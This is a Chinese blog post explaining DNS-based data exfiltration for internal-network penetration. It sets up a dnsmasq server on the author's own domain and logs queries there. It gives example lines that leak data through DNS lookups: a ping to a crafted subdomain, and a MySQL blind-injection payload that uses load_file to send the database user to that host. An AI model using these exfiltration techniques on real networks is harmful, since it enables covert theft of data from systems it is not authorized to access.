用dnsmasq实现Data Retrive over DNS

对于内网渗透来说,传送数据出来,一直是个难题。而DNS是目前互联网的基石,无论你是处在广域网中,还是企业的局域网中,都会使用DNS来做域名解析。本文探讨一种利用DNS解析来做数据传送的手段。该手段英文名Data Retrive over DNS,暂时似乎还不知道中文该怎么称呼才合适,DNS数据获取??该方法是由Miroslav发现的,技术白皮书在此

1.DNS的过程

关于DNS的解析过程,本来想自己画一幅图,但是因为某人已经画了一幅非常专业的流程图,我就不再重复发明轮子了,直接借用过来,原图地址在此 注意要点:用户的普通DNS请求,是可以通过自己的私有服务器进行解析的。

2.为什么该方法很有意思

该方法之所以被关注,基于以下三点原因:

  • 数据传输方式不容易被发现。在很多企业,局域网内的互联网访问是被隔绝的,但是DNS确可以很好的工作。有了该方法,我就可以通过DNS解析,将内网数据传送出去。
  • 数据传输跨平台。一般内网渗透,会有一个问题,用什么工具把数据传输出去呢?Linux上有nc等大把工具,但是Windows上确少的可怜。有没有什么命令是跨平台的呢?答案是pingping命令在使用时,必然会有一个DNS解析过程。因此可以利用ping来传输数据
  • 不光是ping,还有很多系统命令,库,中间件,会进行DNS解析,这些都成为了数据传输的发起点。比如sql的盲注过程,我们就可以利用mysql的load_file函数来进行DNS解析。
3.如何实现该方法
3.1 首先得申请一个域名

本博客的域名,是在name.com申请的,每年维护费用大概在10$的样子。本文就以name.com的管理界面为例来说明如何配置,其它域名服务商的配置大致相似。

3.2 使用dnsmasq配置自己的域名服务器

首先安装dnsmasq,Ubuntu的话用命令sudo apt-get install dnsmasq。之后编辑其配置文件/etc/dnsmasq.conf,增加如下

# 打开日志记录
log-queries  
# 配置解析规则,将所有tonylee.name结尾的域名都解析为103.214.68.222的地址
address=/tonylee.name/103.214.68.222  

之后重启dnsmasq服务sudo service dnsmasq restart

3.3 在name.com上注册自己的域名服务器,并配置生效

因为域名服务TTL的原因,生效时间在各地有从几分钟到几小时不等的延迟

3.4观察输出

当配置生效后,当你访问一个比较变态的域名时,比如xoxo.tonylee.name,则可以在/var/log/syslog中看到该信息

Jun 20 23:03:19 tonylee dnsmasq[30996]: query[A] xoxo.tonylee.name from 74.125.1  
90.10  
Jun 20 23:03:19 tonylee dnsmasq[30996]: config xoxo.tonylee.name is 103.214.68.2  
22  
4.如何利用
4.1 利用ping命令

当你所在的局域网无法访问外网,但是又可以正常使用DNS时,则可以通过ping命令来发送信息,比如

ping someinfo.tonylee.name  

则最终可以在自己的服务器上查看该信息

4.2 SQL盲注的利用

如果使用mysql,则可以执行如下sql命令

select load_file(concat('\\\\', user(), '.tonylee.name\\owo'));  

最终会发送出root@localhost.tonylee.name的DNS请求,随即拿到了用户。

4.3 当做笔记使用

如果你要记录一个东西,手头没有纸笔,只有台电脑,那么发送一个ping someinfo.tonylee.name也是可以的,😄

转载请注明原文地址https://story.tonylee.name/2016/06/20/yong-dnsmasqshi-xian-data-retrive-over-dns/